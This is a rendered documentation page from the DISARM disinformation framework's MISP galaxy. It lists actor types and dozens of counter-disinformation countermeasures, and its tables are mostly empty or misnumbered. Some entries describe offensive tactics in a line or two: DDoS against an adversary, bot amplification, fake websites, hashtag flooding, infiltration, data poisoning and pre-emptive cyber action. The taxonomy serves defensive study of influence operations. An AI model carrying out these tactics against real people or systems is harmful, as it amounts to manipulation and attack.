<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A008.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A008.md</a></td>
</tr>
</tbody>
</table>

### religious organisation

The tag is: `misp-galaxy:disarm-actortypes="religious organisation"`

#### Table 994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### school

The tag is: `misp-galaxy:disarm-actortypes="school"`

#### Table 995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

#### Table 996. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
account owner

Anyone who owns an account online

The tag is: `misp-galaxy:disarm-actortypes="account owner"`

Table 997. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

content creator

The tag is: `misp-galaxy:disarm-actortypes="content creator"`

Table 998. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

elves

The tag is: `misp-galaxy:disarm-actortypes="elves"`

Table 999. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

general public

The tag is: `misp-galaxy:disarm-actortypes="general public"`

Table 1000. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

influencer

The tag is: `misp-galaxy:disarm-actortypes="influencer"`

Table 1001. Table References
coordinating body

For example the DHS

The tag is: `misp-galaxy:disarm-actortypes="coordinating body"`

Table 1002. Table References

Links


government

Government agencies

The tag is: `misp-galaxy:disarm-actortypes="government"`

Table 1003. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A017.md

military

The tag is: `misp-galaxy:disarm-actortypes="military"`

Table 1004. Table References

Links


policy maker

The tag is: `misp-galaxy:disarm-actortypes="policy maker"`

Table 1005. Table References

Links


media organisation

The tag is: `misp-galaxy:disarm-actortypes="media organisation"`

Table 1006. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

company

The tag is: `misp-galaxy:disarm-actortypes="company"`

Table 1007. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

adtech provider

The tag is: `misp-galaxy:disarm-actortypes="adtech provider"`

Table 1008. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A023.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/actortypes/A023.md</a></td>
</tr>
</tbody>
</table>

developer

The tag is: `misp-galaxy:disarm-actortypes="developer"`

Table 1009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

funding_site_admin

Funding site admin

The tag is: `misp-galaxy:disarm-actortypes="funding_site_admin"`

Table 1010. Table References
games designer
The tag is: `misp-galaxy:disarm-actortypes="games designer"`

Table 101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

information security
The tag is: `misp-galaxy:disarm-actortypes="information security"`

Table 102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

platform administrator
The tag is: `misp-galaxy:disarm-actortypes="platform administrator"`

Table 103. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

server administrator
The tag is: `misp-galaxy:disarm-actortypes="server administrator"`

Table 104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
platforms

The tag is: misp-galaxy:disarm-actortypes="platforms"

Table 1015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

social media platform adminstrator

Person with the authority to make changes to algorithms, take down content etc.

The tag is: misp-galaxy:disarm-actortypes="social media platform adminstrator"

Table 1016. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

social media platform outreach

The tag is: misp-galaxy:disarm-actortypes="social media platform outreach"

Table 1017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

social media platform owner

Person with authority to make changes to a social media company's business model

The tag is: misp-galaxy:disarm-actortypes="social media platform owner"

Table 1018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Countermeasures

DISARM is a framework designed for describing and understanding disinformation incidents.
Countermeasures is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

**authors**

DISARM Project

---

### Charge for social media

Include a paid-for privacy option, e.g. pay Facebook for an option of them not collecting your personal information. There are examples of this not working, e.g. most people don’t use proton mail etc.

The tag is: `misp-galaxy:disarm-countermeasures="Charge for social media"`

**Table 1019. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Create shared fact-checking database

Share fact-checking resources - tips, responses, countermessages, across response groups.

The tag is: `misp-galaxy:disarm-countermeasures="Create shared fact-checking database"`

**Table 1020. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

---

### Educate high profile influencers on best practices

Find online influencers. Provide training in the mechanisms of disinformation, how to spot campaigns, and/or how to contribute to responses by countermessaging, boosting information sites etc.

The tag is: `misp-galaxy:disarm-countermeasures="Educate high profile influencers on best practices"`

**Table 1021. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Enhanced privacy regulation for social media

Implement stronger privacy standards, to reduce the ability to microtarget community members.

The tag is: `misp-galaxy:disarm-countermeasures="Enhanced privacy regulation for social media"`

<table>
<thead>
<tr>
<th>Table 1022. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Media literacy. Games to identify fake news

Create and use games to show people the mechanics of disinformation, and how to counter them.

The tag is: `misp-galaxy:disarm-countermeasures="Media literacy. Games to identify fake news"`

<table>
<thead>
<tr>
<th>Table 1023. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Platform regulation

Empower existing regulators to govern social media. Also covers Destroy. Includes: Include the role of social media in the regulatory framework for media. The U.S. approach will need to be carefully crafted to protect First Amendment principles, create needed transparency, ensure liability, and impose costs for noncompliance. Includes Create policy that makes social media police disinformation. Includes: Use fraud legislation to clean up social media

The tag is: `misp-galaxy:disarm-countermeasures="Platform regulation"`

<table>
<thead>
<tr>
<th>Table 1024. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Rating framework for news

This is "strategic inoculation", raising the standards of what people expect in terms of evidence when consuming news. Example: journalistic ethics, or journalistic licencing body. Include full transcripts, link source, add items.

The tag is: `misp-galaxy:disarm-countermeasures="Rating framework for news"`
Real-time updates to fact-checking database

Update fact-checking databases and resources in real time. Especially import for time-limited events like natural disasters.

The tag is: `misp-galaxy:disarm-countermeasures="Real-time updates to fact-checking database"`

Censorship

Alter and/or block the publication/dissemination of information controlled by disinformation creators. Not recommended.

The tag is: `misp-galaxy:disarm-countermeasures="Censorship"`

Repair broken social connections

For example, use a media campaign to promote in-group to out-group in person communication / activities. Technique could be in terms of forcing a reality-check by talking to people instead of reading about bogeymen.

The tag is: `misp-galaxy:disarm-countermeasures="Repair broken social connections"`
Reduce effect of division-enablers

includes Promote constructive communication by shaming division-enablers, and Promote playbooks to call out division-enablers

The tag is: misp-galaxy:disarm-countermeasures="Reduce effect of division-enablers"

Table 1029. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Encourage in-person communication

Encourage offline communication

The tag is: misp-galaxy:disarm-countermeasures="Encourage in-person communication"

Table 1030. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Innoculate. Positive campaign to promote feeling of safety

Used to counter ability based and fear based attacks

The tag is: misp-galaxy:disarm-countermeasures="Innoculate. Positive campaign to promote feeling of safety"

Table 1031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Promote healthy narratives

Includes promoting constructive narratives i.e. not polarising (e.g. pro-life, pro-choice, pro-USA). Includes promoting identity neutral narratives.

The tag is: misp-galaxy:disarm-countermeasures="Promote healthy narratives"

Table 1032. Table References
Shore up democracy based messages

Messages about e.g. peace, freedom. And make it sexy. Includes Deploy Information and Narrative-Building in Service of Statecraft: Promote a narrative of transparency, truthfulness, liberal values, and democracy. Implement a compelling narrative via effective mechanisms of communication. Continually reassess messages, mechanisms, and audiences over time. Counteract efforts to manipulate media, undermine free markets, and suppress political freedoms via public diplomacy.

The tag is: `misp-galaxy:disarm-countermeasures="Shore up democracy based messages"`

Create culture of civility

This is passive. Includes promoting civility as an identity that people will defend.

The tag is: `misp-galaxy:disarm-countermeasures="Create culture of civility"`

Make information provenance available

Blockchain audit log and validation with collaborative decryption to post comments. Use blockchain technology to require collaborative validation before posts or comments are submitted. This could be used to adjust upvote weight via a trust factor of people and organisations you trust, or other criteria.

The tag is: `misp-galaxy:disarm-countermeasures="Make information provenance available"`
Create fake website to issue counter narrative and counter narrative through physical merchandise

Create websites in disinformation voids - spaces where people are looking for known disinformation.

The tag is: misp-galaxy:disarm-countermeasures="Create fake website to issue counter narrative and counter narrative through physical merchandise"

Table 1036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Develop a compelling counter narrative (truth based)

The tag is: misp-galaxy:disarm-countermeasures="Develop a compelling counter narrative (truth based)"

Table 1037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Dilute the core narrative - create multiple permutations, target / amplify

Create competing narratives. Included "Facilitate State Propaganda" as diluting the narrative could have an effect on the pro-state narrative used by volunteers, or lower their involvement.

The tag is: misp-galaxy:disarm-countermeasures="Dilute the core narrative - create multiple permutations, target / amplify"

Table 1038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hijack content and link to truth- based info

Link to platform

The tag is: misp-galaxy:disarm-countermeasures="Hijack content and link to truth- based info"
Create more friction at account creation

Counters fake account
The tag is: misp-galaxy:disarm-countermeasures="Create more friction at account creation"

Infiltrate the in-group to discredit leaders (divide)

All of these would be highly affected by infiltration or false-claims of infiltration.
The tag is: misp-galaxy:disarm-countermeasures="Infiltrate the in-group to discredit leaders (divide)"

third party verification for people

counters fake experts
The tag is: misp-galaxy:disarm-countermeasures="third party verification for people"

Address truth contained in narratives

Focus on and boost truths in misinformation narratives, removing misinformation from them.
The tag is: misp-galaxy:disarm-countermeasures="Address truth contained in narratives"
**Keep people from posting to social media immediately**

Platforms can introduce friction to slow down activities, force a small delay between posts, or replies to posts.

The tag is: *misp-galaxy:disarm-countermeasures="Keep people from posting to social media immediately"*

**Marginalise and discredit extremist groups**

Reduce the credibility of extremist groups posting misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Marginalise and discredit extremist groups"*

**Honeypot with coordinated inauthentics**

Flood disinformation spaces with obviously fake content, to dilute core misinformation narratives in them.

The tag is: *misp-galaxy:disarm-countermeasures="Honeypot with coordinated inauthentics"*

**Name and Shame Influencers**

Think about the different levels: individual vs state-sponsored account. Includes “call them out”
and “name and shame”. Identify social media accounts as sources of propaganda—“calling them out”—might be helpful to prevent the spread of their message to audiences that otherwise would consider them factual. Identify, monitor, and, if necessary, target externally-based nonattributed social media accounts. Impact of and Dealing with Trolls - “Chatham House has observed that trolls also sometimes function as decoys, as a way of “keeping the infantry busy” that “aims to wear down the other side” (Lough et al., 2014). Another type of troll involves “false accounts posing as authoritative information sources on social media”.

The tag is: `misp-galaxy:disarm-countermeasures="Name and Shame Influencers"`

### Counter social engineering training

Includes anti-elicitation training, phishing prevention education.

The tag is: `misp-galaxy:disarm-countermeasures="Counter social engineering training"

### Infiltrate platforms

Detect and degrade

The tag is: `misp-galaxy:disarm-countermeasures="Infiltrate platforms"

### Delete old accounts / Remove unused social media accounts

remove or remove access to (e.g. stop the ability to update) old social media accounts, to reduce the pool of accounts available for takeover, botnets etc.

The tag is: `misp-galaxy:disarm-countermeasures="Delete old accounts / Remove unused social media accounts"`
Encourage people to leave social media

Encourage people to leave social media. We don’t expect this to work.

The tag is: `misp-galaxy:disarm-countermeasures="Encourage people to leave social media"`

Report crowdfunder as violator

counters crowdfunding. Includes ‘Expose online funding as fake”.

The tag is: `misp-galaxy:disarm-countermeasures="Report crowdfunder as violator"`

Verification of project before posting fund requests

third-party verification of projects posting funding campaigns before those campaigns can be posted.

The tag is: `misp-galaxy:disarm-countermeasures="Verification of project before posting fund requests"`

Legal action against for-profit engagement factories

Take legal action against for-profit "factories" creating misinformation.

The tag is: `misp-galaxy:disarm-countermeasures="Legal action against for-profit engagement factories"`
Free open library sources worldwide

Open-source libraries could be created that aid in some way for each technique. Even for Strategic Planning, some open-source frameworks such as DISARM can be created to counter the adversarial efforts.

The tag is: `misp-galaxy:disarm-countermeasures="Free open library sources worldwide"`

Reduce political targeting

Includes “ban political micro targeting” and “ban political ads”

The tag is: `misp-galaxy:disarm-countermeasures="Reduce political targeting"`

Co-opt a hashtag and drown it out (hijack it back)

Flood a disinformation-related hashtag with other content.

The tag is: `misp-galaxy:disarm-countermeasures="Co-opt a hashtag and drown it out (hijack it back)"`
Denigrate the recipient/project (of online funding)

Reduce the credibility of groups behind misinformation-linked funding campaigns.

The tag is: misp-galaxy:disarm-countermeasures="Denigrate the recipient/project (of online funding)"

Table 1058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Block access to disinformation resources

Resources = accounts, channels etc. Block access to platform. DDOS an attacker. TA02*: DDOS at the critical time, to deny an adversary's time-bound objective. T0008: A quick response to a proto-viral story will affect its ability to spread and raise questions about their legitimacy. Hashtag: Against the platform, by drowning the hashtag. T0046 - Search Engine Optimisation: Sub-optimal website performance affect its search engine rank, which I interpret as "blocking access to a platform".

The tag is: misp-galaxy:disarm-countermeasures="Block access to disinformation resources"

Table 1059. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Block source of pollution

Block websites, accounts, groups etc connected to misinformation and other information pollution.

The tag is: misp-galaxy:disarm-countermeasures="Block source of pollution"

Table 1060. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Remove non-relevant content from special interest groups - not recommended

Check special-interest groups (e.g. medical, knitting) for unrelated and misinformation-linked content, and remove it.

The tag is: misp-galaxy:disarm-countermeasures="Remove non-relevant content from special interest groups - not recommended"
Inoculate populations through media literacy training

Use training to build the resilience of at-risk populations. Educate on how to handle info pollution. Push out targeted education on why it’s pollution. Build cultural resistance to false content, e.g. cultural resistance to bullshit. Influence literacy training, to inoculate against “cult” recruiting. Media literacy training: leverage librarians / library for media literacy training. Inoculate at language. Strategic planning included as inoculating population has strategic value. Concepts of media literacy to a mass audience that authorities launch a public information campaign that teaches the programme will take time to develop and establish impact, recommends curriculum-based training. Covers detect, deny, and degrade.

The tag is: mish-galaxy:disarm-countermeasures="Inoculate populations through media literacy training"

Identify and delete or rate limit identical content

C00000

The tag is: mish-galaxy:disarm-countermeasures="Identify and delete or rate limit identical content"

normalise language

normalise the language around disinformation and misinformation; give people the words for artefact and effect types.

The tag is: mish-galaxy:disarm-countermeasures="normalise language"
Prohibit images in political discourse channels

Make political discussion channels text-only.

The tag is: `misp-galaxy:disarm-countermeasures="Prohibit images in political discourse channels"`

**Table 1065. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Active defence: run TA15 "develop people" - not recommended

Develop networks of communities and influencers around counter-misinformation. Match them to misinformation creators

The tag is: `misp-galaxy:disarm-countermeasures="Active defence: run TA15 "develop people" - not recommended"`

**Table 1066. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Change Search Algorithms for Disinformation Content

Includes “change image search algorithms for hate groups and extremists” and “Change search algorithms for hate and extremist queries to show content sympathetic to opposite side”

The tag is: `misp-galaxy:disarm-countermeasures="Change Search Algorithms for Disinformation Content"`

**Table 1067. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create competing narrative

Create counternarratives, or narratives that compete in the same spaces as misinformation
narratives. Could also be degrade

The tag is: `misp-galaxy:disarm-countermeasures="Create competing narrative"

Table 1068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Highlight flooding and noise, and explain motivations**

Discredit by pointing out the "noise" and informing public that "flooding" is a technique of disinformation campaigns; point out intended objective of "noise"

The tag is: `misp-galaxy:disarm-countermeasures="Highlight flooding and noise, and explain motivations"

Table 1069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ground truthing as automated response to pollution**

Also inoculation.

The tag is: `misp-galaxy:disarm-countermeasures="Ground truthing as automated response to pollution"

Table 1070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Modify disinformation narratives, and rebroadcast them**

Includes “poison pill recasting of message” and “steal their truths”. Many techniques involve promotion which could be manipulated. For example, online fundings or rallies could be advertised, through compromised or fake channels, as being associated with "far-up/down/left/right" actors. "Long Game" narratives could be subjected in a similar way with negative connotations. Can also replay technique T0003.

The tag is: `misp-galaxy:disarm-countermeasures="Modify disinformation narratives, and rebroadcast them"
Mute content

Rate-limit disinformation content. Reduces its effects, whilst not running afoul of censorship concerns. Online archives of content (archives of websites, social media profiles, media, copies of published advertisements; or archives of comments attributed to bad actors, as well as anonymized metadata about users who interacted with them and analysis of the effect) is useful for intelligence analysis and public transparency, but will need similar muting or tagging/shaming as associated with bad actors.

The tag is: `misp-galaxy:disarm-countermeasures="Mute content"`

Distract from noise with addictive content

Example: Interject addictive links or contents into discussions of disinformation materials and measure a "conversion rate" of users who engage with your content and away from the social media channel's "information bubble" around the disinformation item. Use bots to amplify and upvote the addictive content.

The tag is: `misp-galaxy:disarm-countermeasures="Distract from noise with addictive content"`

Make more noise than the disinformation

The tag is: `misp-galaxy:disarm-countermeasures="Make more noise than the disinformation"`
Fake engagement system

Create honeypots for misinformation creators to engage with, and reduce the resources they have available for misinformation campaigns.

The tag is: misp-galaxy:disarm-countermeasures="Fake engagement system"

<table>
<thead>
<tr>
<th>Table 1075. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Honeypot social community

Set honeypots, e.g. communities, in networks likely to be used for disinformation.

The tag is: misp-galaxy:disarm-countermeasures="Honeypot social community"

<table>
<thead>
<tr>
<th>Table 1076. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Establish a truth teller reputation score for influencers

Includes "Establish a truth teller reputation score for influencers" and “Reputation scores for social media users”. Influencers are individuals or accounts with many followers.

The tag is: misp-galaxy:disarm-countermeasures="Establish a truth teller reputation score for influencers"

<table>
<thead>
<tr>
<th>Table 1077. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Influencer code of conduct

Establish tailored code of conduct for individuals with many followers. Can be platform code of conduct; can also be community code.

The tag is: misp-galaxy:disarm-countermeasures="Influencer code of conduct"

| Table 1078. Table References |
Force full disclosure on corporate sponsor of research

Accountability move: make sure research is published with its funding sources.

The tag is: misp-galaxy:disarm-countermeasures="Force full disclosure on corporate sponsor of research"

Strengthen institutions that are always truth tellers

Increase credibility, visibility, and reach of positive influencers in the information space.

The tag is: misp-galaxy:disarm-countermeasures="Strengthen institutions that are always truth tellers"

Require use of verified identities to contribute to poll or comment

Reduce poll flooding by online taking comments or poll entries from verified accounts.

The tag is: misp-galaxy:disarm-countermeasures="Require use of verified identities to contribute to poll or comment"
Revocation of allowlisted or "verified" status

remove blue checkmarks etc from known misinformation accounts.

The tag is: `misp-galaxy:disarm-countermeasures="Revocation of allowlisted or "verified" status"`

Table 1082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Strengthen verification methods

Improve content verification methods available to groups, individuals etc.

The tag is: `misp-galaxy:disarm-countermeasures="Strengthen verification methods"`

Table 1083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hashtag jacking

Post large volumes of unrelated content on known misinformation hashtags

The tag is: `misp-galaxy:disarm-countermeasures="Hashtag jacking"`

Table 1084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create friction by rate-limiting engagement

Create participant friction. Includes Make repeat voting hard, and throttle number of forwards.

The tag is: `misp-galaxy:disarm-countermeasures="Create friction by rate-limiting engagement"`

Table 1085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Create a bot that engages / distract trolls

This is reactive, not active measure (honeypots are active). It's a platform controlled measure.

The tag is: `misp-galaxy:disarm-countermeasures="Create a bot that engages / distract trolls"`

Table 1086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Buy more advertising than misinformation creators

Shift influence and algorithms by posting more adverts into spaces than misinformation creators.

The tag is: `misp-galaxy:disarm-countermeasures="Buy more advertising than misinformation creators"`

Table 1087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Click-bait centrist content

Create emotive centrist content that gets more clicks

The tag is: `misp-galaxy:disarm-countermeasures="Click-bait centrist content"`

Table 1088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Content moderation

includes social media content take-downs, e.g. facebook or Twitter content take-downs

The tag is: `misp-galaxy:disarm-countermeasures="Content moderation"`

Table 1089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Dampen Emotional Reaction
Reduce emotional responses to misinformation through calming messages, etc.
The tag is: misp-galaxy:disarm-countermeasures="Dampen Emotional Reaction"

Table 1090. Table References

Links

Reduce polarisation by connecting and presenting sympathetic renditions of opposite views
Reduce polarisation by connecting and presenting sympathetic renditions of opposite views
The tag is: misp-galaxy:disarm-countermeasures="Reduce polarisation by connecting and presenting sympathetic renditions of opposite views"

Table 1091. Table References

Links

"Prove they are not an op!"
"Prove they are not an op!"
Challenge misinformation creators to prove they're not an information operation.
The tag is: misp-galaxy:disarm-countermeasures=""Prove they are not an op!"

Table 1092. Table References

Links

Debunk and defuse a fake expert / credentials.
Debunk fake experts, their credentials, and potentially also their audience quality
The tag is: misp-galaxy:disarm-countermeasures="Debunk and defuse a fake expert / credentials."

Table 1093. Table References

Links
Don’t engage with payloads

Stop passing on misinformation

The tag is: misp-galaxy:disarm-countermeasures="Don’t engage with payloads"

Table 1094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Expose actor and intentions

Debunk misinformation creators and posters.

The tag is: misp-galaxy:disarm-countermeasures="Expose actor and intentions"

Table 1095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Provide proof of involvement

Build and post information about groups etc’s involvement in misinformation incidents.

The tag is: misp-galaxy:disarm-countermeasures="Provide proof of involvement"

Table 1096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Downgrade / de-amplify so message is seen by fewer people

Label promote counter to disinformation

The tag is: misp-galaxy:disarm-countermeasures="Downgrade / de-amplify so message is seen by fewer people"

Table 1097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Repurpose images with new text

Add countermessage text to images used in misinformation incidents.

The tag is: misp-galaxy:disarm-countermeasures="Repurpose images with new text"

Table 1098. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Engage payload and debunk.

debunk misinformation content. Provide link to facts.

The tag is: misp-galaxy:disarm-countermeasures="Engage payload and debunk."

Table 1099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Open dialogue about design of platforms to produce different outcomes

Redesign platforms and algorithms to reduce the effectiveness of disinformation

The tag is: misp-galaxy:disarm-countermeasures="Open dialogue about design of platforms to produce different outcomes"

Table 1100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Tool transparency and literacy for channels people follow.

Make algorithms in platforms explainable, and visible to people using those platforms.

The tag is: misp-galaxy:disarm-countermeasures="Tool transparency and literacy for channels people follow."

Table 1101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Follow.

**Table 1101. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Remove or rate limit botnets**
reduce the visibility of known botnets online.

The tag is: *misp-galaxy:disarm-countermeasures*="Remove or rate limit botnets"

**Table 1102. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Don’t feed the trolls**
Don’t engage with individuals relaying misinformation.

The tag is: *misp-galaxy:disarm-countermeasures*="Don’t feed the trolls"

**Table 1103. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Prebunking**
Produce material in advance of misinformation incidents, by anticipating the narratives used in them, and debunking them.

The tag is: *misp-galaxy:disarm-countermeasures*="Prebunking"

**Table 1104. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Social media amber alert**
Create an alert system around disinformation and misinformation artefacts, narratives, and
Create friction by marking content with ridicule or other "decelerants"

Repost or comment on misinformation artefacts, using ridicule or other content to reduce the likelihood of reposting.

The tag is: misp-galaxy:disarm-countermeasures="Create friction by marking content with ridicule or other "decelerants""

Use banking to cut off access

Fiscal sanctions; parallel to counter terrorism

The tag is: misp-galaxy:disarm-countermeasures="Use banking to cut off access"

Mentorship: elders, youth, credit. Learn vicariously.

Train local influencers in countering misinformation.

The tag is: misp-galaxy:disarm-countermeasures="Mentorship: elders, youth, credit. Learn vicariously"
Seize and analyse botnet servers

Take botnet servers offline by seizing them.

The tag is: `misp-galaxy:disarm-countermeasures="Seize and analyse botnet servers"`

Deplatform Account*

Note: Similar to Deplatform People but less generic. Perhaps both should be left.

The tag is: `misp-galaxy:disarm-countermeasures="Deplatform Account*"`

Deplatform message groups and/or message boards

Merged two rows here.

The tag is: `misp-galaxy:disarm-countermeasures="Deplatform message groups and/or message boards"`

Microtarget most likely targets then send them countermessages

Find communities likely to be targeted by misinformation campaigns, and send them countermessages or pointers to information sources.

The tag is: `misp-galaxy:disarm-countermeasures="Microtarget most likely targets then send them countermessages"`
countermessages"

Table 1112. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Spam domestic actors with lawsuits**

File multiple lawsuits against known misinformation creators and posters, to distract them from disinformation creation.

The tag is: *misp-galaxy:disarm-countermeasures="Spam domestic actors with lawsuits"*

Table 1113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Weaponise youtube content matrices**

God knows what this is. Keeping temporarily in case we work it out.

The tag is: *misp-galaxy:disarm-countermeasures="Weaponise youtube content matrices"*

Table 1114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

"Bomb" link shorteners with lots of calls

Applies to most of the content used by exposure techniques except "T0055 - Use hashtag". Applies to analytics.

The tag is: *misp-galaxy:disarm-countermeasures=""Bomb" link shorteners with lots of calls"*

Table 1115. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Platform adds warning label and decision point when sharing content

Includes “this has been disproved: do you want to forward it”. Includes “"Hey this story is old" popup when messaging with old URL” - this assumes that this technique is based on visits to an URL shortener or a captured news site that can publish a message of our choice. Includes “mark clickbait visually”.

The tag is: misp-galaxy:disarm-countermeasures="Platform adds warning label and decision point when sharing content"

Table 1116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

(botnet) DMCA takedown requests to waste group time

Use copyright infringement claims to remove videos etc.

The tag is: misp-galaxy:disarm-countermeasures="(botnet) DMCA takedown requests to waste group time"

Table 1117. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Buy out troll farm employees / offer them jobs

Degrade the infrastructure. Could e.g. pay to not act for 30 days. Not recommended

The tag is: misp-galaxy:disarm-countermeasures="Buy out troll farm employees / offer them jobs"

Table 1118. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Make amplification of social media posts expire (e.g. can’t like/ retweet after n days)

Stop new community activity (likes, comments) on old social media posts.
The tag is: misp-galaxy:disarm-countermeasures="Make amplification of social media posts expire (e.g. can’t like/retweet after n days)"

**Table 1119. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Add random links to network graphs**

If creators are using network analysis to determine how to attack networks, then adding random extra links to those networks might throw that analysis out enough to change attack outcomes. Unsure which DISARM techniques.

The tag is: misp-galaxy:disarm-countermeasures="Add random links to network graphs"

**Table 1120. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Poison the monitoring & evaluation data**

Includes Pollute the AB-testing data feeds: Polluting A/B testing requires knowledge of MOEs and MOPs. A/B testing must be caught early when there is relatively little data available so infiltration of TAs and understanding of how content is migrated from testing to larger audiences is fundamental.

The tag is: misp-galaxy:disarm-countermeasures="Poison the monitoring & evaluation data"

**Table 1121. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Take pre-emptive action against actors' infrastructure**

Align offensive cyber action with information operations and counter disinformation approaches, where appropriate.

The tag is: misp-galaxy:disarm-countermeasures="Take pre-emptive action against actors’ infrastructure"

**Table 1122. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Ask media not to report false information

Train media to spot and respond to misinformation, and ask them not to post or transmit misinformation they've found.

The tag is: `misp-galaxy:disarm-countermeasures="Ask media not to report false information"`

Ban incident actors from funding sites

Ban misinformation creators and posters from funding sites

